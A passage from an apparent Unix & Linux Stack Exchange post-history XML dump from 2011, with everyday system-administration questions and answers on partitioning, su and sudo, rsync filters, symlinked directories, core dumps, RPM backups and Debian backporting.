(2.10)](http://bugs.debian.org/606128), and my followup bug with a patch, [pgf: &#xD;&#xA;    patches against 2.0 Debian packaging](http://bugs.debian.org/618440). As it &#xD;&#xA;    turns out, the Debian packaging of pgf was very simple, and I just had to change   &#xD;&#xA;    one line in the 2.10 packaging to make it work. I ended up quelling all the   &#xD;&#xA;    lintian complaints as well, but that was strictly optional.&#xD;&#xA;" />
  <row Id="26759" PostHistoryTypeId="2" PostId="11040" RevisionGUID="5344fcc4-6f45-4cf5-a48c-0fede7051554" CreationDate="2011-04-10T22:43:26.337" UserId="885" Text="Linux doesn't need any primary partition. Just create an *extended* partition using all that free space, and create *logical* partitions for Linux, at least `/` and swap, and possible `/home`. Primary partitions normally contain a filesystem; an extended partition contains logical partitions, which in turn normally contain a filesystem. You'll end up with&#xD;&#xA;&#xD;&#xA;    sda1 = windows&#xD;&#xA;    sda2 = extended, consisting of&#xD;&#xA;        sda5 = /&#xD;&#xA;        sda6 = swap&#xD;&#xA;        sda7 = /home&#xD;&#xA;    sda3, sda4 = recovery&#xD;&#xA;&#xD;&#xA;" />
  <row Id="26760" PostHistoryTypeId="6" PostId="11038" RevisionGUID="79861aa3-5baa-47e3-8b11-bfddf9448511" CreationDate="2011-04-10T22:44:13.357" UserId="885" Comment="edited tags" Text="édebianàépartitionàédualöbootàésystemöinstallationà" />
  <row Id="26761" PostHistoryTypeId="2" PostId="11041" RevisionGUID="369a1e6e-d396-45e1-8667-f8bd936f6a81" CreationDate="2011-04-10T22:45:38.833" UserId="3169" Text="The easiest way is to run [su](http://www.freebsd.org/cgi/man.cgi?query=su&amp;apropos=0&amp;sektion=0&amp;manpath=FreeBSD+8.2-RELEASE&amp;format=html), e.g.&#xD;&#xA;&#xD;&#xA;    su otheruser&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    su - otheruser&#xD;&#xA;&#xD;&#xA;The first one sets your user to `otheruser`.   The second one sets you user to `otheruser` and sources otheruser's `.profile` and other login scripts.&#xD;&#xA;&#xD;&#xA;If `otheruser` is `root` (or is missing, which also means `root`), then you will need to be in the `wheel` group, as per the man page:&#xD;&#xA;&#xD;&#xA;&gt; by default  only users in the `wheel` group can switch to UID 0 (`root`).&#xD;&#xA;&#xD;&#xA;Two other ways you could do it:&#xD;&#xA;&#xD;&#xA; * [login](http://www.freebsd.org/cgi/man.cgi?query=login&amp;apropos=0&amp;sektion=0&amp;manpath=FreeBSD+8.2-RELEASE&amp;format=html)&#xD;&#xA; * [ssh](http://www.freebsd.org/cgi/man.cgi?query=ssh&amp;apropos=0&amp;sektion=0&amp;manpath=FreeBSD+8.2-RELEASE&amp;format=html) otheruser@localhost" />
  <row Id="26764" PostHistoryTypeId="5" PostId="11041" RevisionGUID="b4df7b80-4a98-44db-bf13-7e22eb5f76cd" CreationDate="2011-04-10T22:54:33.820" UserId="3169" Comment="added 484 characters in body" Text="The easiest way is to run [su](http://www.freebsd.org/cgi/man.cgi?query=su&amp;apropos=0&amp;sektion=0&amp;manpath=FreeBSD+8.2-RELEASE&amp;format=html), e.g.&#xD;&#xA;&#xD;&#xA;    $ su otheruser&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    $ su - otheruser&#xD;&#xA;&#xD;&#xA;The first one sets your user to `otheruser`.&#xD;&#xA;&#xD;&#xA;The second one sets you user to `otheruser` and sources otheruser's login scripts (e.g. `.profile` for `sh` or `.login` for `csh`).&#xD;&#xA;&#xD;&#xA;If `otheruser` is `root` (or is missing, which also means `root`), then you will need to be in the `wheel` group, as per the man page:&#xD;&#xA;&#xD;&#xA;&gt; by default  only users in the `wheel` group can switch to UID 0 (`root`).&#xD;&#xA;&#xD;&#xA;Another way is [login](http://www.freebsd.org/cgi/man.cgi?query=login&amp;apropos=0&amp;sektion=0&amp;manpath=FreeBSD+8.2-RELEASE&amp;format=html), e.g.&#xD;&#xA;&#xD;&#xA;    $ login&#xD;&#xA;    login: otheruser&#xD;&#xA;    Password:   &#xD;&#xA;    &#xD;&#xA;Or, if you are running sshd, you could use [ssh](http://www.freebsd.org/cgi/man.cgi?query=ssh&amp;apropos=0&amp;sektion=0&amp;manpath=FreeBSD+8.2-RELEASE&amp;format=html), e.g.&#xD;&#xA;&#xD;&#xA;    $ ssh otheruser@localhost&#xD;&#xA;&#xD;&#xA;Or you could install [sudo](http://www.gratisoft.us/sudo/man/1.8.0/sudo.man.html) using [ports](http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/ports.html).&#xD;&#xA;&#xD;&#xA;    # cd /usr/ports/security/sudo&#xD;&#xA;    # make install&#xD;&#xA;&#xD;&#xA;or [packages](http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/packages-using.html)&#xD;&#xA;&#xD;&#xA;    # pkg_add -r sudo" />
  <row Id="26765" PostHistoryTypeId="5" PostId="11041" RevisionGUID="8afeaf82-5cd2-41dd-906e-759f1b0b2f58" CreationDate="2011-04-10T23:01:23.553" UserId="3169" Comment="added 233 characters in body" Text="You have many options, including `su`, `login`, `ssh`, and `sudo`.&#xD;&#xA;&#xD;&#xA;The easiest way is to run [su](http://www.freebsd.org/cgi/man.cgi?query=su&amp;apropos=0&amp;sektion=0&amp;manpath=FreeBSD+8.2-RELEASE&amp;format=html), e.g.&#xD;&#xA;&#xD;&#xA;    $ su otheruser&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    $ su - otheruser&#xD;&#xA;&#xD;&#xA;The first one sets your user to `otheruser`.&#xD;&#xA;&#xD;&#xA;The second one sets you user to `otheruser` and sources otheruser's login scripts (e.g. `.profile` for `sh` or `.login` for `csh`), to make it seem like you've logged in as that user.&#xD;&#xA;&#xD;&#xA;If `otheruser` is `root` (or is missing, which also means `root`), then you will need to be in the `wheel` group, as per the man page:&#xD;&#xA;&#xD;&#xA;&gt; by default  only users in the `wheel` group can switch to UID 0 (`root`).&#xD;&#xA;&#xD;&#xA;Another way is [login](http://www.freebsd.org/cgi/man.cgi?query=login&amp;apropos=0&amp;sektion=0&amp;manpath=FreeBSD+8.2-RELEASE&amp;format=html), e.g.&#xD;&#xA;&#xD;&#xA;    $ login&#xD;&#xA;    login: otheruser&#xD;&#xA;    Password:   &#xD;&#xA;    &#xD;&#xA;Or, if you are running sshd, you could use [ssh](http://www.freebsd.org/cgi/man.cgi?query=ssh&amp;apropos=0&amp;sektion=0&amp;manpath=FreeBSD+8.2-RELEASE&amp;format=html), e.g.&#xD;&#xA;&#xD;&#xA;    $ ssh otheruser@localhost&#xD;&#xA;&#xD;&#xA;Or you could install [sudo](http://www.freshports.org/security/sudo/) using [ports](http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/ports.html).&#xD;&#xA;&#xD;&#xA;    # cd /usr/ports/security/sudo&#xD;&#xA;    # make &amp;&amp; make install&#xD;&#xA;&#xD;&#xA;or [packages](http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/packages-using.html)&#xD;&#xA;&#xD;&#xA;    # pkg_add -r sudo&#xD;&#xA;&#xD;&#xA;See the [sudo man page](http://www.gratisoft.us/sudo/man/1.8.0/sudo.man.html) for details of how to run it.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="26766" PostHistoryTypeId="2" PostId="11042" RevisionGUID="1f0df1e7-cc13-4f2b-b69a-fb389e3eb829" CreationDate="2011-04-10T23:06:19.353" UserId="5840" Text="I'm trying to set up an rsync that excludes all `.*` files except for `.htaccess` but unfortunately, this doesn't work:&#xD;&#xA;&#xD;&#xA;    rsync -avP --exclude=&quot;.*&quot; --include=&quot;./.htaccess&quot; ./. user@server:/dir&#xD;&#xA;&#xD;&#xA;Is it possible to somehow exclude general exclude rules?&#xD;&#xA;" />
  <row Id="26767" PostHistoryTypeId="1" PostId="11042" RevisionGUID="1f0df1e7-cc13-4f2b-b69a-fb389e3eb829" CreationDate="2011-04-10T23:06:19.353" UserId="5840" Text="How to include files that are excluded in an rsync" />
  <row Id="26768" PostHistoryTypeId="3" PostId="11042" RevisionGUID="1f0df1e7-cc13-4f2b-b69a-fb389e3eb829" CreationDate="2011-04-10T23:06:19.353" UserId="5840" Text="érsyncà" />
  <row Id="26769" PostHistoryTypeId="2" PostId="11043" RevisionGUID="40d5fa31-d85f-44aa-8637-437e06ad83f5" CreationDate="2011-04-10T23:19:08.987" UserId="885" Text="The first matching rule applies, so include `.htaccess` before excluding `.*`.&#xD;&#xA;&#xD;&#xA;    rsync -avP --include=&quot;.htaccess&quot; --exclude=&quot;.*&quot; . user@server:/dir&#xD;&#xA;&#xD;&#xA;This copies `.htaccess` at every level. I don't know what you intended with `./.htaccess`; if you want to match a file at the root of the copy only, start the pattern with a `/`. If you only want the root `.htaccess`, you can't just use `--include='/.htaccess' --exclude='.*'`, because the non-rooted rule actually takes precedence here, you need to do something more complicated:&#xD;&#xA;&#xD;&#xA;    rsync -avP --exclude='/*/**/.htaccess' --include='.htaccess' --exclude=&quot;.*&quot; . user@server:/dir&#xD;&#xA;&#xD;&#xA;Further reading: [basic principles for rsync filters](http://unix.stackexchange.com/questions/2161/rsync-filter-copying-one-pattern-only/2503#2503).&#xD;&#xA;" />
  <row Id="26770" PostHistoryTypeId="2" PostId="11044" RevisionGUID="51d260e3-64b8-4e4d-8a48-e0a1d0d52ba6" CreationDate="2011-04-10T23:38:56.333" UserId="4249" Text="To make it easier to get to `~/a/really/long/path` I have a symlink. But I want to get to `~/a/really/long/` and changing directories to `../` moves me to `~` instead. Is there a way I can do this?&#xD;&#xA;&#xD;&#xA;I'm using bash." />
  <row Id="26771" PostHistoryTypeId="1" PostId="11044" RevisionGUID="51d260e3-64b8-4e4d-8a48-e0a1d0d52ba6" CreationDate="2011-04-10T23:38:56.333" UserId="4249" Text="Changing parent directory (../) with symlinks" />
  <row Id="26772" PostHistoryTypeId="3" PostId="11044" RevisionGUID="51d260e3-64b8-4e4d-8a48-e0a1d0d52ba6" CreationDate="2011-04-10T23:38:56.333" UserId="4249" Text="ébashàéfilesystemsà" />
  <row Id="26773" PostHistoryTypeId="2" PostId="11045" RevisionGUID="ddb1f313-902c-4bd2-bd92-3a0f5d1c5b8f" CreationDate="2011-04-10T23:50:58.007" UserId="4020" Text="One method you could use is to use an alias instead of a symlink to take you to ~/a/really/long/path , that's the method I use - that way I can just type a simple 1/2/et cetera letter command instead of cd symlink&#xD;&#xA;" />
  <row Id="26774" PostHistoryTypeId="2" PostId="11046" RevisionGUID="2a21990e-7b8f-4285-b8dc-ea126d6cb620" CreationDate="2011-04-10T23:58:17.783" UserId="885" Text="Bash (as well as ksh, zsh, and even ash) track directory changes so that `cd /foo/bar &amp;&amp; cd ..` always takes you to `/foo` even if `bar` is a symlink. Pass the `-P` option to `cd` to ignore the tracked change and follow the “physical” directory structure:&#xD;&#xA;&#xD;&#xA;    cd -P ..&#xD;&#xA;&#xD;&#xA;If you really dislike the directory tracking feature, you can turn it off with `set -P` in bash (`set -o no_chase_link` in zsh).&#xD;&#xA;" />
  <row Id="26775" PostHistoryTypeId="6" PostId="11044" RevisionGUID="98741f46-5dfd-41ae-baa2-ef0e89aaf7b2" CreationDate="2011-04-10T23:58:27.877" UserId="885" Comment="edited tags" Text="ébashàécdà" />
  <row Id="26776" PostHistoryTypeId="25" PostId="11044" RevisionGUID="70b1340e-9f13-4c67-ae18-51b154b506a5" CreationDate="2011-04-11T00:09:05.470" Comment="http://twitter.com/#!/StackUnix/status/57233672843169792" />
  <row Id="26777" PostHistoryTypeId="5" PostId="11027" RevisionGUID="4d8b77de-232f-4697-af4c-921456e1d8d2" CreationDate="2011-04-11T00:52:47.990" UserId="3032" Comment="deleted 18 characters in body" Text="To make it look like `ls`, I'd use Bash's `for` loop:&#xD;&#xA;&#xD;&#xA;    for i in *; do echo $i; done&#xD;&#xA;&#xD;&#xA;If that doesn't work, I'd try Python `;)` :&#xD;&#xA;&#xD;&#xA;    python -c &quot;import glob; print '\n'.join(glob.glob('/home/*'))&quot;" />
  <row Id="26778" PostHistoryTypeId="2" PostId="11047" RevisionGUID="dac64855-17d5-48f8-885c-f598be6f6e35" CreationDate="2011-04-11T01:13:48.467" UserId="3852" Text="There's no hex editor built in, the closest you're going to have is combining `od` and the `ed` editor, both of which are available in Version 7. `vi` isn't included with Version 7, you could probably compile an old version since it was released about that time.&#xD;&#xA;&#xD;&#xA;The man page of `od` should be useful. The man page of `ed`, not as much, but if you know sed, ed commands are a lot like sed since sed is based on ed. You can try reading tutorials [here][1] and [here][2] or just google &quot;ed editor&quot; &quot;ed tutorial&quot; and so on.&#xD;&#xA;&#xD;&#xA;You could try building your preferred editor but I don't know how that will work out on an OS that is over 30 years old.&#xD;&#xA;&#xD;&#xA;  [1]: http://polarwave.openbsd101.com/ed.html&#xD;&#xA;  [2]: http://wolfram.schneider.org/bsd/7thEdManVol2/edtut/edtut.pdf" />
  <row Id="26779" PostHistoryTypeId="2" PostId="11048" RevisionGUID="51e48552-62f9-45be-a10c-d2065f378f35" CreationDate="2011-04-11T01:20:47.573" UserId="6451" Text="I am wondering what allocation method does UFS use?&#xD;&#xA;I know there are several options: contiguous , linked  allocation and indexed allocation.&#xD;&#xA;Which one is for UFS?&#xD;&#xA;thank you" />
  <row Id="26780" PostHistoryTypeId="1" PostId="11048" RevisionGUID="51e48552-62f9-45be-a10c-d2065f378f35" CreationDate="2011-04-11T01:20:47.573" UserId="6451" Text="about UFS on FreeBSD" />
  <row Id="26781" PostHistoryTypeId="3" PostId="11048" RevisionGUID="51e48552-62f9-45be-a10c-d2065f378f35" CreationDate="2011-04-11T01:20:47.573" UserId="6451" Text="éfilesystemsàéfreebsdà" />
  <row Id="26782" PostHistoryTypeId="2" PostId="11049" RevisionGUID="c48ae640-aeb5-4736-b86e-7d3d01176ca7" CreationDate="2011-04-11T01:55:58.020" UserId="3644" Text="Your example terms don't coincide with anything I'm familiar with in file systems. The two proper forms of allocations I know of relate to disk space and inodes. &#xD;&#xA;&#xD;&#xA;Where disk space is concerned, the two key forms for traditional file systems are extent-based and block-based. UFS is block-based.&#xD;&#xA;&#xD;&#xA;Inodes are allocated statically (i.e., at file system creation time) or dynamically. UFS allocates inodes statically.&#xD;&#xA;&#xD;&#xA;Does your question refer to some other facet of UFS, perhaps?" />
  <row Id="26783" PostHistoryTypeId="2" PostId="11050" RevisionGUID="35485892-e781-4260-bef2-5c120de52f3a" CreationDate="2011-04-11T01:58:38.287" UserId="3169" Text="The details are in the paper [A Fast File System for UNIX](http://www.cs.berkeley.edu/~brewer/cs262/FFS.pdf):&#xD;&#xA;&#xD;&#xA;&gt; The bit map of available blocks in the cylinder group replaces the traditional file system’s free list.&#xD;&#xA;" />
  <row Id="26784" PostHistoryTypeId="2" PostId="11051" RevisionGUID="d07dbb0d-f67a-4031-a783-33d90d936b0a" CreationDate="2011-04-11T02:22:31.147" UserId="3852" Text="&#xD;&#xA;`lsattr ./*` &#xD;&#xA;&#xD;&#xA;`getfacl ./*` will display permissions too&#xD;&#xA;&#xD;&#xA;`grep -l '.*' ./*`&#xD;&#xA;&#xD;&#xA;`awk 'FNR==1 {print FILENAME}' ./*` works with GNU awk&#xD;&#xA;&#xD;&#xA;`debugfs /dev/sdX` replace sdX with whatever partition you want to do an ls on, then you can ls inside debugfs&#xD;&#xA;&#xD;&#xA;    debugfs:  cd /&#xD;&#xA;    debugfs:  ls -l&#xD;&#xA;          2   40755 (2)      0      0    4096  6-Apr-2011 01:01 .&#xD;&#xA;          2   40755 (2)      0      0    4096  6-Apr-2011 01:01 ..&#xD;&#xA;         11   40700 (2)      0      0   16384  5-Jul-2010 09:59 lost+found&#xD;&#xA;     2392065   40755 (2)      0      0    4096  5-Jul-2010 09:59 boot&#xD;&#xA;     2228225   40755 (2)      0      0    4096  5-Jul-2010 09:59 sys&#xD;&#xA;     1376257   40755 (2)      0      0    4096  5-Jul-2010 09:59 proc&#xD;&#xA;     4915201   40755 (2)      0      0    4096  5-Jul-2010 09:59 dev&#xD;&#xA;     3473409   40755 (2)      0      0   12288 10-Apr-2011 22:05 etc&#xD;&#xA;      98305  100644 (1)      0      0       0  6-Jul-2010 12:05 .autofsck&#xD;&#xA;     3342337   40755 (2)      0      0    4096  5-Apr-2011 15:05 var&#xD;&#xA;     3932161   41777 (2)      0      0    4096 10-Apr-2011 22:11 tmp&#xD;&#xA;      ..........&#xD;&#xA;    debugfs:  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;`lynx ./`&#xD;&#xA;&#xD;&#xA;`mc` assuming you have midnight commander installed&#xD;&#xA;&#xD;&#xA;" />
  <row Id="26785" PostHistoryTypeId="5" PostId="10761" RevisionGUID="4a424d56-12d5-4115-9c9a-0c6ae6a499d4" CreationDate="2011-04-11T02:54:25.123" UserId="6474" Comment="Fixed formatting" Text="Probably, you would need to edit the only one file i.e. ffmpeg_frame.c&#xD;&#xA;&#xD;&#xA;    replace 'PIX_FMT_RGBA32' 'PIX_FMT_RGB32' -- ffmpeg_frame.c&#xD;&#xA;    ./configure&#xD;&#xA;    make&#xD;&#xA;    make install&#xD;&#xA;&#xD;&#xA;This should install ffmpeg-php on the server - you will need to add the ffmpeg.so file to your php.ini file like:&#xD;&#xA;&#xD;&#xA;    extension=ffmpeg.so&#xD;&#xA;&#xD;&#xA;Restart Apache on the server once the extension is added." />
  <row Id="26786" PostHistoryTypeId="24" PostId="10761" RevisionGUID="4a424d56-12d5-4115-9c9a-0c6ae6a499d4" CreationDate="2011-04-11T02:54:25.123" Comment="Proposed by 6474 approved by 73 edit id of 257" />
  <row Id="26787" PostHistoryTypeId="2" PostId="11052" RevisionGUID="10515e9d-604f-4348-8932-0f8231d63854" CreationDate="2011-04-11T03:06:46.133" UserId="1290" Text="I have a Logitech MX-510, that I've been using for about six years.&#xD;&#xA;&#xD;&#xA;![Logitech MX-510][1]&#xD;&#xA;&#xD;&#xA; The Mouse has several extra buttons, that I'd like to use in Gnome, but I have problems with the button codes, that the mouse sends to the driver:&#xD;&#xA;&#xD;&#xA;* Button 1 (mouse wheel button) works as expected. One `ButtonPress` event with `state 0x10` and `button 1` on press, and `ButtonRelease` with `state 0x110`on release.&#xD;&#xA;&#xD;&#xA;* Button 2 (mouse wheel button) works as expected. One `ButtonPress` event with `state 0x10` and `button 2` on press, and `ButtonRelease` with `state 0x210`on release.&#xD;&#xA;&#xD;&#xA;* Button 3 (right button) works as expected. One `ButtonPress` event with `state 0x10` and `button 3` on press, and `ButtonRelease` with `state 0x410`on release.&#xD;&#xA;&#xD;&#xA;* Button 4 (scroll up) works as expected. It sends a `ButtonPress` event with `state 0x10` and `button 4`, and a `ButtonRelease` event with `state 0x810`. Both events occur instantaneous on each scroll step.&#xD;&#xA;&#xD;&#xA;* Button 5 (scroll down) works as expected. It sends a `ButtonPress` event with `state 0x10` and `button 5`, and a `ButtonRelease` event with `state 0x1010`. Both events occur instantaneous on each scroll step.&#xD;&#xA;&#xD;&#xA;*Buttons 6 and 7 seem to not exist.*&#xD;&#xA;&#xD;&#xA;* Button 8 (back button) works as expected. It sends a `ButtonPress` event with `state 0x10` and `button 8`, and a `ButtonRelease` event also with `state 0x10`. Both events occur instantaneous on each scroll step.&#xD;&#xA;&#xD;&#xA;* Button 9 (back button) works as expected. It sends a `ButtonPress` event with `state 0x10` and `button 9`, and a `ButtonRelease` event also with `state 0x10`. Both events occur instantaneous on each scroll step.&#xD;&#xA;&#xD;&#xA;The mouse has three additional buttons, as you can see in the picture above.&#xD;&#xA;&#xD;&#xA;* Button 10 (on the very top of the mouse) is not usable. It sends a `ButtonPress` event with `state 0x10` and `button 10`, and a `ButtonRelease` event also with `state 0x10`. The button is not usable with Gnome, because it is not selectable. Most option selectors, like that one of CompizConfig Settings Manager just goes up to Button 9.&#xD;&#xA;&#xD;&#xA;* Button 11 (extra button to the front of the mouse wheel) is not quite usable. When pressed, it sends a `ButtonPress` event with `state 0x10` and `button 11`, **and** another `ButtonPress` event with `state 0x10` and `button 4` **and** yet another one `ButtonPress` event with `state 0x810` and `button 4` (the last two being the same behaviour as if the scroll wheel was moved one step up). On release it sends a `ButtonRelease` event with `state 0x10` and `button 11`. But the catch is, when the button is held down, it repeats the &quot;mouse wheel simulation&quot; about five times per second. (like a mousewheel cruise-control or something).&#xD;&#xA;&#xD;&#xA;* Button 12 (extra button to the back of the mouse wheel) is not quite usable. When pressed, it sends a `ButtonPress` event with `state 0x10` and `button 12`, **and** another `ButtonPress` event with `state 0x10` and `button 5` **and** yet another one `ButtonPress` event with `state 0x1010` and `button 5` (the last two being the same behaviour as if the scroll wheel was moved one step up). On release it sends a `ButtonRelease` event with `state 0x10` and `button 12`. When held down it displays the same cruise-control behavior as button 11, but with the respective button and state parameters.&#xD;&#xA;&#xD;&#xA;Is there a way how I can remap those additional keys in a way, where I can use them or make them usable with Gnome? And especially, if it is possible, to make buttons 11 and 12 stop sending codes for mouse wheel scroll up and down.&#xD;&#xA;And if possible, how can I change the general behavior of the mouse buttons in general?&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/QERCw.jpg" />
  <row Id="26788" PostHistoryTypeId="1" PostId="11052" RevisionGUID="10515e9d-604f-4348-8932-0f8231d63854" CreationDate="2011-04-11T03:06:46.133" UserId="1290" Text="Logitech MX-510: Some extra buttons not usable.." />
  <row Id="26789" PostHistoryTypeId="3" PostId="11052" RevisionGUID="10515e9d-604f-4348-8932-0f8231d63854" CreationDate="2011-04-11T03:06:46.133" UserId="1290" Text="éfedoraàégnomeàémouseà" />
  <row Id="26790" PostHistoryTypeId="25" PostId="11042" RevisionGUID="16a2a388-cc42-481a-a3f4-6245e36d988a" CreationDate="2011-04-11T03:09:05.557" Comment="http://twitter.com/#!/StackUnix/status/57278972223950849" />
  <row Id="26791" PostHistoryTypeId="2" PostId="11053" RevisionGUID="6d1245a6-42e7-4153-bbfd-bb7544117609" CreationDate="2011-04-11T04:41:40.513" UserId="6476" Text="First, a brief description of the situation: a computer sits hidden near a display in a gallery of some sort, acting as the silent workhorse for a piece.  Despite its programmer's best intentions the piece may, well, crash, from time to time depending on the passerby's interactions with the display.  The programmer has rigged up the computer to automatically restart the relevant program hackishly using a bash loop, since uptime (or something resembling it) is at a premium.&#xD;&#xA;&#xD;&#xA;The developer would love to determine what the cause of any crashes is, but running the program via GDB -- to the best of this developer's knowledge -- would result in the process stopping upon a crash.  This would indeed enable the developer to tap in 'backtrace' and find the cause, but the piece would be inoperable until the developer made his or her way to the gallery in question to check on it.  This is no good.&#xD;&#xA;&#xD;&#xA;How might this intrepid developer secure backtraces of each crash (and presumably store them somewhere) via GDB, but still allow for the original behaviour of automatically restarting the process upon a crash?" />
  <row Id="26792" PostHistoryTypeId="1" PostId="11053" RevisionGUID="6d1245a6-42e7-4153-bbfd-bb7544117609" CreationDate="2011-04-11T04:41:40.513" UserId="6476" Text="Capture and log GDB backtraces without stopping the process." />
  <row Id="26793" PostHistoryTypeId="3" PostId="11053" RevisionGUID="6d1245a6-42e7-4153-bbfd-bb7544117609" CreationDate="2011-04-11T04:41:40.513" UserId="6476" Text="élinuxàébashà" />
  <row Id="26794" PostHistoryTypeId="2" PostId="11054" RevisionGUID="e5c92972-4cec-4690-8aa5-84f5f36249ad" CreationDate="2011-04-11T04:52:15.070" UserId="4358" Text="run `ulimit -c 1073741824` prior to starting the program. Next time the program crashes, a core dump will be created in the working directory (named core.&lt;PID&gt;). You can then use GDB to open this core at any time you like.&#xD;&#xA;&#xD;&#xA;`ulimit -c XXXXX` sets the maximum size of the core dump file created when a program seg faults. By default this is '0' which means not to dump the core." />
  <row Id="26795" PostHistoryTypeId="2" PostId="11055" RevisionGUID="0acd372b-0383-4b24-99e7-d94c8d351a45" CreationDate="2011-04-11T05:01:27.227" UserId="4358" Text="The native way of doing this is to create an LVM layer between your partitions and the disk. LVM has the capability to create snapshots which are basically instant point-in-time instances of the disk.&#xD;&#xA;The reason for this instead of just dd'ing the disk directly is that the contents of the disk may change while the dd is in progress. An LVM snapshot will not change once its created. Then after your backup is complete, destroy the snapshot.&#xD;&#xA;&#xD;&#xA;So the layered topology would look something like:  &#xD;&#xA;DISK0 + DISK1  &#xD;&#xA;RAID-1  &#xD;&#xA;LVM  &#xD;&#xA;Partitions  &#xD;&#xA;Filesystems&#xD;&#xA;&#xD;&#xA;You could also put LVM on top of each partition if you wanted to back up just a single partition. Either works" />
  <row Id="26796" PostHistoryTypeId="2" PostId="11056" RevisionGUID="a847174e-62a9-43bd-acd6-4d5c2df273a1" CreationDate="2011-04-11T05:23:57.287" UserId="4335" Text="Last night I did `rm -Rf /tmp` as root. I wasn't drunk. But I definitely feel I was dumb to do so. Now X doesn't work. I read few days back that after doing `rm`, one can't recover the lost data. I mounted a USB stick but it doesn't show up in `/media` directory. I need to backup the data in `/home` folder. I think I can recover that data by some live usb.&#xD;&#xA;&#xD;&#xA;Is there a way to backup the rpms that are installed on Fedora machine? I wish to save bandwidth. So if it's possible, I'd prefer saving all the installed rpms in a directory and then re-installing them simply by doing `rpm -i`. I earlier posted [this][1] question but YUMonCD package doesn't work fine on my Fedora 14. I found [this][2] to create a list of installed rpms and then re-installing it after formating. But it doesn't save any bandwidth for me.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/10973/aptoncd-equivalent-for-fedora&#xD;&#xA;  [2]: http://www.nixtutor.com/linux/keep-a-backup-of-installed-packages/" />
  <row Id="26797" PostHistoryTypeId="1" PostId="11056" RevisionGUID="a847174e-62a9-43bd-acd6-4d5c2df273a1" CreationDate="2011-04-11T05:23:57.287" UserId="4335" Text="Backup installed RPM" />
  <row Id="26798" PostHistoryTypeId="3" PostId="11056" RevisionGUID="a847174e-62a9-43bd-acd6-4d5c2df273a1" CreationDate="2011-04-11T05:23:57.287" UserId="4335" Text="éfedoraàérpmà" />
  <row Id="26799" PostHistoryTypeId="25" PostId="11052" RevisionGUID="9858c75f-1796-41ed-b566-2a7b47a7108b" CreationDate="2011-04-11T06:09:05.693" Comment="http://twitter.com/#!/StackUnix/status/57324270346444800" />
  <row Id="26800" PostHistoryTypeId="5" PostId="11039" RevisionGUID="3c66dfd7-3976-40b6-9f3a-6996e3db4d8f" CreationDate="2011-04-11T06:26:07.903" UserId="4671" Comment="add some more links + minor formatting changes" Text="Wanting more recent packages is a common issue on any OS. Debian's release cycle has averaged 2 years in recent years, so towards the end of this cycle, it is perhaps a more pressing issue. One way of mitigating this is to move to testing towards the end of the stable release cycle, when the next version is almost stable. It is not clear from the question whether it is talking about stable on more generally about testing and/or unstable as well. Regardless, having the most recent version can be an issue even if one if running unstable, as the most recent version may not be packaged yet. Debian developers/packagers are volunteers, so they may get bored, or busy with other things, with the result that the package languishes.&#xD;&#xA;&#xD;&#xA;For simplicity and concreteness I assume in what follows that the plan is to backport a package to stable, but it applies more generally. So, here is what I do if I want a more recent version of software that is not present in stable, in an approximate order.&#xD;&#xA;&#xD;&#xA; 1. Look for the package in backports. Sometimes you can find a package that is recent enough to satisfy your purposes. However, it is often the case that these packages are outdated compared to the version in unstable or experimental or upstream.&#xD;&#xA; &#xD;&#xA; 2. Try to install the package directly&#xD;&#xA;    from testing, unstable, or&#xD;&#xA;    experimental. If stable has not&#xD;&#xA;    diverged much from whatever version&#xD;&#xA;    you are trying to install from, this&#xD;&#xA;    may work. You'll know this approach&#xD;&#xA;    is a bad one if the system starts&#xD;&#xA;    trying to  install or upgrade basic&#xD;&#xA;    packages from the more recent&#xD;&#xA;    version. Suppose you are trying to&#xD;&#xA;    install from unstable, then&#xD;&#xA;    &#xD;&#xA;        apt-get install packagename/unstable&#xD;&#xA;    &#xD;&#xA;    is the first thing to try. With&#xD;&#xA;    versions of apt in stable, this will&#xD;&#xA;    often fail, as it requires other&#xD;&#xA;    packages from unstable, and this&#xD;&#xA;    incantation only ups the preference&#xD;&#xA;    of `packagename` sufficiently high for&#xD;&#xA;    it to be installed in unstable. If&#xD;&#xA;    you don't understand what this&#xD;&#xA;    means, go away and read `man&#xD;&#xA;    apt_preferences`. Carry on adding&#xD;&#xA;    dependencies from unstable, making&#xD;&#xA;    sure that it is not trying to&#xD;&#xA;    upgrade basic packages. For example,&#xD;&#xA;    if it starts trying to upgrade libc6&#xD;&#xA;    or X or KDE or Gnome, abort&#xD;&#xA;    immediately. It is usually fine if&#xD;&#xA;    it is tries to upgrade other&#xD;&#xA;    packages from the same source&#xD;&#xA;    package, as these are usually&#xD;&#xA;    tightly coupled together. To see&#xD;&#xA;    what source package a binary package&#xD;&#xA;    depends on, do&#xD;&#xA;    &#xD;&#xA;        apt-cache showsrc packagename&#xD;&#xA;    &#xD;&#xA;    Since lots of stuff depends on the&#xD;&#xA;    GNU C library (libc6) this used to&#xD;&#xA;    be a problem. More recently, the API&#xD;&#xA;    seems to have stabilized, so it is&#xD;&#xA;    now more often possible to get away&#xD;&#xA;    with not having to upgrade it. If a&#xD;&#xA;    package satisfies its runtime&#xD;&#xA;    dependencies on stable, but still&#xD;&#xA;    does not work correctly, file a bug.&#xD;&#xA;    If the packager tells you it is not&#xD;&#xA;    a bug, they are wrong. :-)&#xD;&#xA; &#xD;&#xA; 3. Backport the package yourself from&#xD;&#xA;    testing, unstable or experimental.&#xD;&#xA;    &#xD;&#xA;    As mentioned above, backports is one&#xD;&#xA;    option, but often these packages are&#xD;&#xA;    outdated compared to the version in&#xD;&#xA;    unstable or experimental or&#xD;&#xA;    upstream.&#xD;&#xA;    &#xD;&#xA;    This can often require a recursive&#xD;&#xA;    dependency build loop type thing.&#xD;&#xA;    You first    need to get the build&#xD;&#xA;    dependencies with&#xD;&#xA;    &#xD;&#xA;        apt-get build-dep packagename    &#xD;&#xA;&#xD;&#xA;    If this fails because one of the&#xD;&#xA;    dependencies is not 